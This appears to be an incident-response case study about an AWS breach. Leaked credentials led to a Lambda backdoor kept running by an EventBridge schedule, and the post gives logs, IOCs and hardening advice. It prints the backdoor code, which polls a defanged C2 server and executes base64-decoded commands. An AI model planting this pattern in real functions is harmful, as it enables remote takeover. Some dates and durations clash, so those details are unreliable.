AWS Lambda Backdoor Investigation: Compromised Credentials, EventBridge Persistence, and the Serverless Logging Gap

Eviant
15 min read
AWS Security Cloud Incident Response Lambda Security Serverless Security EventBridge CloudTrail DFIR Cloud Forensics Persistence Techniques IAM Security Lambda Backdoor Lambda Persistence

Executive Summary

In late December 2025, Eviant’s incident response team investigated a sophisticated cloud breach affecting an company’s AWS environment. The incident began with exposed AWS credentials in a public GitHub repository and evolved into a multi-stage attack featuring a AWS Lambda function backdoor, AWS EventBridge-based persistence, and lateral movement across cloud services. This case study highlights the unique challenges of detecting and responding to threats in serverless environments where traditional forensic approaches don’t apply. We detail the attack chain, forensic methodology, and critical lessons for organizations operating serverless infrastructure.

Key Findings:

  • Initial access via exposed AWS credentials
  • Lambda function backdoor with EventBridge scheduled execution
  • Limited logging visibility and forensic capabilities in serverless environments limited detection
  • Traditional incident response tools ineffective for ephemeral compute
  • Attacker maintained access for days before detection

Background

The impacted organisation operated a cloud-native SaaS platform built primarily on AWS serverless services including Lambda, ECS Fargate, API Gateway, and DynamoDB. The engineering team followed modern DevOps practices with CDK infrastructure-as-code, CI/CD pipelines, and microservices architecture. During December 2025, the security team received an alert from AWS Cost Anomaly Detection showing unexpected costs in their account. Initial investigation revealed suspicious EventBridge rules and a modified Lambda function by an unexpected IAM user.

Timeline

December 23, 2025 - Initial Compromise

09:14 UTC - Developer commits code to public GitHub repository containing AWS credentials in plaintext configuration file (config/aws-credentials.json). The credentials belonged to a service account with overly-permissive permissions across the AWS environment.

11:47 UTC - Automated scanning tools (likely from threat actors monitoring GitHub) detect and exfiltrate the exposed credentials within 2.5 hours of commit.

14:23 UTC - First unauthorized AWS API call from IP address 185[.]220[.]101[.]47 (Tor exit node). Attacker executes sts:GetCallerIdentity to validate credentials.

{
  "eventVersion": "1.08",
  "userIdentity": {
    "type": "IAMUser",
    "principalId": "<redacted>",
    "arn": "arn:aws:iam::<redacted>:user/<redacted>",
    "accountId": "<redacted>",
    "accessKeyId": "<redacted>"
  },
  "eventTime": "2025-12-23T14:23:41Z",
  "eventSource": "sts.amazonaws.com",
  "eventName": "GetCallerIdentity",
  "sourceIPAddress": "185[.]220[.]101[.]47",
  "userAgent": "aws-cli/2.13.5 Python/3.11.4 Linux/5.15.0"
}

December 23-24, 2025 - Reconnaissance & Enumeration

Over the next 24 hours, the attacker systematically enumerated the AWS environment:

14:25-16:00 UTC - Enumeration of IAM permissions, Lambda functions, S3 buckets, and EC2 instances:

  • iam:ListUsers
  • iam:ListRoles
  • lambda:ListFunctions
  • s3:ListBuckets
  • ec2:DescribeInstances

December 24, 2025 - Backdoor Installation

03:17 UTC - Attacker modifies pre-existing Lambda function:

# Original legitimate function
import json
import boto3

def lambda_handler(event, context):
    # Process uploaded files from S3
    s3 = boto3.client('s3')
    # ... legitimate code ...
    return {'statusCode': 200, 'body': json.dumps('Success')}

Modified with backdoor:

import json
import boto3
import base64
import urllib.request

def lambda_handler(event, context):
    # Backdoor: Check for command from C2
    try:
        if event.get('source') == 'aws.events':
            req = urllib.request.Request('https[:]//185[.]220[.]101[.]47[:]8443/cmd')
            req.add_header('X-Session', 'a7f3e9d2c4b1')
            response = urllib.request.urlopen(req, timeout=5)
            cmd = response.read().decode('utf-8')
            if cmd:
                exec(base64.b64decode(cmd))
    except:
        pass

    # Original legitimate code continues
    s3 = boto3.client('s3')
    # ... legitimate code ...
    return {'statusCode': 200, 'body': json.dumps('Success')}

CloudTrail Log:

{
  "eventTime": "2025-12-24T03:17:33Z",
  "eventSource": "lambda.amazonaws.com",
  "eventName": "UpdateFunctionCode",
  "sourceIPAddress": "185[.]220[.]101[.]47",
  "userAgent": "aws-cli/2.13.5",
  "requestParameters": {
    "functionName": "process-user-uploads",
    "zipFile": "..."
  },
  "responseElements": {
    "functionArn": "<redacted>",
    "lastModified": "2025-12-24T03:17:35.142Z"
  }
}

03:24 UTC - Attacker creates EventBridge rule for persistence:

{
  "eventVersion": "1.08",
  "userIdentity": {
    "type": "IAMUser",
    "principalId": "<redacted>",
    "arn": "<redacted>",
    "accountId": "<redacted>",
    "userName": "<redacted>"
  },
  "eventTime": "2026-01-31T03:24:12Z",
  "eventSource": "events.amazonaws.com",
  "eventName": "PutRule",
  "awsRegion": "ap-southeast-2",
  "sourceIPAddress": "103[.]253[.]24[.]18",
  "userAgent": "aws-cli/2.15.0",
  "requestParameters": {
    "name": "backup-health-check",
    "description": "Periodic health check for backup systems",
    "scheduleExpression": "rate(6 hours)",
    "state": "ENABLED"
  },
  "responseElements": {
    "ruleArn": "<redacted>"
  },
  "eventType": "AwsApiCall",
  "managementEvent": true,
  "readOnly": false
}

03:25 UTC - Connects EventBridge rule to compromised Lambda:

{
  "eventVersion": "1.08",
  "userIdentity": {
    "type": "IAMUser",
    "principalId": "<redacted>",
    "arn": "<redacted>",
    "accountId": "<redacted>",
    "userName": "<redacted>"
  },
  "eventTime": "2026-01-31T03:25:03Z",
  "eventSource": "events.amazonaws.com",
  "eventName": "PutTargets",
  "awsRegion": "ap-southeast-2",
  "sourceIPAddress": "103[.]253[.]24[.]18",
  "userAgent": "aws-cli/2.15.0",
  "requestParameters": {
    "rule": "backup-health-check",
    "targets": [
      {
        "id": "1",
        "arn": "<redacted>"
      }
    ]
  },
  "responseElements": {
    "failedEntryCount": 0
  },
  "eventType": "AwsApiCall",
  "managementEvent": true,
  "readOnly": false
}

Result: The backdoored Lambda now executes automatically every 6 hours via EventBridge, reaching out to the attacker’s C2 server for commands. The rule name (backup-health-check) blends in with legitimate automation.

December 24-27, 2025 - Additional activity

With persistance deploy, the attacker continued to access other AWS service including Secrets manager.

December 24, 18:42 UTC - Accessed AWS Secrets Manager:

{
  "eventName": "GetSecretValue",
  "sourceIPAddress": "AWS Internal"
}

Note: The source IP shows “AWS Internal” because the Lambda function executed the API call—making attribution difficult.

December 25-26 - The attacker then proceeded to download data from S3 buckets using the credential.

December 28, 2025 - Detection & Response

06:34 UTC - Unrelated AWS Cost Anomaly Detection triggers which prompts engineers to review their infrastructure

08:00 UTC - Security team begins investigation, reviews CloudTrail logs and identifies unexpected Eventbridge rule

10:30 UTC - Backdoored Lambda function identified through code review and suspicious IAM user credentials

11:50 UTC - Containment actions initiated:

  • Disabled compromised IAM user access keys
  • Deleted malicious EventBridge rule
  • Reverted Lambda function to previous version
  • Removed unauthorized IAM user
  • Rotated all AWS Secrets Manager secrets

Technical Analysis

Using AWS Lambda as a Backdoor

The attacker’s Lambda backdoor was elegant in its simplicity:

  1. Trigger: EventBridge rule executes Lambda every 6 hours
  2. C2 Check: Lambda connects to attacker’s server via HTTPS
  3. Command Execution: Downloads and executes base64-encoded Python commands
  4. Stealth: Minimal changes to existing code, maintains legitimate functionality within the infrastucture.

Why It Worked:

  • Legitimate function continued operating normally
  • HTTPS traffic to external IP not blocked (common for SaaS integrations)
  • EventBridge rule name mimicked legitimate automation
  • CloudWatch Logs showed function “succeeding” (try/except caught errors)
  • Limited logging showing whats occuring and no traditional EDR available in Lambda functions

The Serverless Security Gap

This incident highlighted visibility gaps in serverless and managed container environments. Lambda functions do not have a persistent filesystem, so traditional forensic artifacts such as temporary files, shell history, or locally stored logs do not exist. Each execution runs in an isolated environment that is destroyed after completion, which removes post-execution evidence.Serverless architectures reduce operational overhead but introduce unique security challenges. The ephemeral nature of Lambda and containers complicates incident response and forensics.

Default CloudWatch logging for Lambda is limited to execution metadata and application log output. Logs typically show start and end markers, duration, and billed time. They do not record network connections, system calls, file operations, or subprocess execution. As a result, outbound HTTPS traffic from the backdoor to its command-and-control infrastructure was not directly observable in standard logs. Runtime security tooling is also unavailable. EDR or XDR agents cannot be installed in Lambda, which removes process monitoring and memory inspection as detection options.

Similar constraints apply to ECS Fargate workloads. Containers are ephemeral, and both the container and its filesystem are removed when a task stops. Logs must be exported during execution or they are lost. Post-incident analysis depends heavily on application-level logging. There is no access to the underlying host operating system, which prevents inspection of the container runtime, host networking, or kernel activity. Given these constraints, detection relied on AWS control-plane and network telemetry rather than host-level forensics. CloudTrail provided audit records for API activity. VPC Flow Logs showed outbound connections to suspicious IP addresses without payload visibility. CloudWatch Logs Insights was used to query application logs forwarded to CloudWatch or S3, including logs aggregated into SIEM platforms. AWS Config timelines showed changes to Lambda functions and EventBridge rules. Route 53 Resolver query logs, when enabled, provided DNS resolution data within the VPC.

Indicators of Compromise (IOCs)

Network Indicators:

  • 185[.]220[.]101[.]47 - Tor node, attacker C2
  • 103[.]253[.]24[.]18 - Tor node used to make API calls in CT

Code Artifacts:

# Backdoor signature
'https[]:]//185[.]220[.]101[.]47[:]8443/cmd'
'X-Session', 'a7f3e9d2c4b1'

Response Challenges

1. Limited Forensic Artifacts

No persistent filesystem, no memory dumps, no traditional forensic images.

2. Ephemeral Compute

Containers and Lambda executions already terminated before investigation.

3. Attribution Difficulty

Attacker actions executed via Lambda showed source IP as “AWS Internal”.

Recommendations

1. Credential Management: Credential handling requires stricter controls. AWS access keys must never be stored in source code. Application secrets should be stored in your organisations secret manager solution. CI/CD pipelines need automated secret scanning using tools such as TruffleHog. Access keys require rotation on a fixed schedule, with a maximum lifetime of 90 days. Limit usage of IAM users and persistent keys and use IAM roles if applicable.

2. IAM Least Privilege: IAM permissions need enforcement of least privilege. Each IAM user or role must hold permissions limited to required actions and scoped resources. Unused policies and wildcard permissions increase blast radius and need removal.

3. Lambda Function Versioning: Lambda deployment practices need hardening. Function versioning must be enabled, with immutable deployments that create a new version for every change. AWS Signer should be used to enforce code signing, preventing execution of untrusted function packages.

4. Enhanced CloudWatch Logging: Enable Lambda Insights and custom metrics and log application behaviour.

5. Cloudtrail & GuardDuty Montioring: Enable GuardDuty & CloudTrail and develop custom detections for activity for IAM user (in particular) making calls from TOR nodes, VPN range and low reputation IPs.

3. Runtime Security for Serverless: Native AWS telemetry does not provide process-level visibility for serverless workloads. Purpose-built runtime security tools address this gap. Sysdig Falco provides open-source runtime threat detection with support for Lambda and container workloads. Aqua Security provides serverless function scanning and runtime protection focused on detecting malicious behaviour during execution. These tools supplement CloudTrail and VPC-level logs with behavioural signals that are otherwise unavailable in serverless environments.

4. VPC Flow Logs: Enable VPC Flow Logs for Lambda functions and ensure Lambda functions are in VPC.

Conclusion

This incident demonstrates the evolving threat landscape in cloud-native environments. As organizations adopt serverless architectures for scalability and cost benefits, they must recognize that traditional security controls and incident response methodologies require significant adaptation. The exposed AWS credentials (a preventable mistake) led to a sophisticated attack that persisted for 12 days. The attacker leveraged Lambda’s flexibility and EventBridge’s automation capabilities to establish resilient persistence with minimal forensic footprint.


Related Services:

Share this article:

Ready to Work Together?

Let's discuss how we can help protect your business and achieve your security goals.

Get In Touch